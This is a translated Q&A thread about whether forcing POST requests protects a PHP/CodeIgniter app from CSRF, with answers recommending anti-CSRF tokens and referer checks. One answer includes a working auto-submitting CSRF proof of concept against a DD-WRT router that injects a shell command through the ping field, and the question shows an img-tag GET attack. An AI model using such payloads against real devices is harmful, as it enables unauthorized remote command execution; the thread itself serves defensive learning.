Безопасность PHP с использованием POST вместо GET для защиты от XSRF? - PullRequest
5 голосов
/ 13 марта 2011

В моем приложении есть несколько URL-адресов, таких как http://mysite.com/module/45/set_name/new-name, которые предназначены для доступа с использованием ajax.

Для предотвращения XSRF я заставляю такой запрос быть POST запросами. С GET тривиально сгенерировать XSRF с помощью следующего:

<img src="http://mysite.com/module/45/set_name/new-name"/>

Использование POST предотвращает эту конкретную атаку, но действительно ли это безопаснее, чем использование GET? Если нет, что еще можно / нужно сделать?

Спасибо.


Редактировать: я использую CodeIgniter и в моей конфигурации есть следующее:

$config['csrf_protection'] = TRUE;
$config['csrf_token_name'] = 'csrf_test_name';
$config['csrf_cookie_name'] = 'csrf_cookie_name';
$config['csrf_expire'] = 3600;

Я в безопасности? Есть ли минусы в том, что CSRF включен? Кроме форм, срок действия которых истекает через час?

Ответы [ 4 ]

4 голосов
/ 13 марта 2011

Одного использования POST недостаточно, потому что кто-то может создать форму со скрытыми элементами ввода и автоматически отправить ее на ваш сайт.Это не так просто, как элемент img с GET-запросом, но все же возможно.Вам следует использовать некоторую форму проверки в параметрах POST, например, случайное значение или токен сеанса, которые в отличие от файлов cookie не будут отправляться в запросе XSRF.

3 голосов
/ 13 марта 2011

Никаких изменений в сообщении не решает эту проблему.Вы должны прочитать Шпаргалку по предотвращению подделки межсайтовых запросов (CSRF) .

Вот пример доказательства написанного мной эксплойта CSRF на основе POST Cocnept.Это дает вам удаленный root-доступ к DD-WRT :

<html>
    <form method="post" action="http://192.168.1.1/apply.cgi" id=1>
        <input name="submit_button" value="Ping" type="hidden">
        <input name="action" value="ApplyTake" type="hidden">
        <input name="submit_type" value="start" type="hidden">
        <input name="change_action" value="gozila_cgi" type="hidden">
        <input name="next_page" value="Diagnostics.asp" type="hidden">
        <input name="ping_ip" value="echo owned">
        <input name="execute command" type="submit">
    </form>
</html>
<script>
    document.getElementById(1).submit();//remote root command execution!
</script>
1 голос
/ 13 марта 2011

Почему бы вам просто не проверить реферала, отправленного вместе с запросом? И изображение src, и форма, отправленная с помощью javascript, сообщат вам, что запрос отправлен с другого хоста, и вы можете просто заблокировать этот запрос.

0 голосов
/ 13 марта 2011

Вы неправильно понимаете эту проблему.
Ваша настоящая проблема совершенно другая - вы используете неподходящие методы.

При правильном использовании метода GET для извлечения данных с сервера атака CSRF невозможна.

Таким образом, если ваш запрос изменяет данные на стороне сервера, вы все равно должны изменить его на POST, несмотря на все эти романтические и пугающие вещи, такие как CSRF, XSS и тому подобное.
Это просто основы технологии .

Что касается самого CSRF, то это не так уж важно. Просто убедитесь, что все ваши формы содержат токен anti-csrf (также хранящийся в сеансе), и все обработчики форм POST проверяют его.

...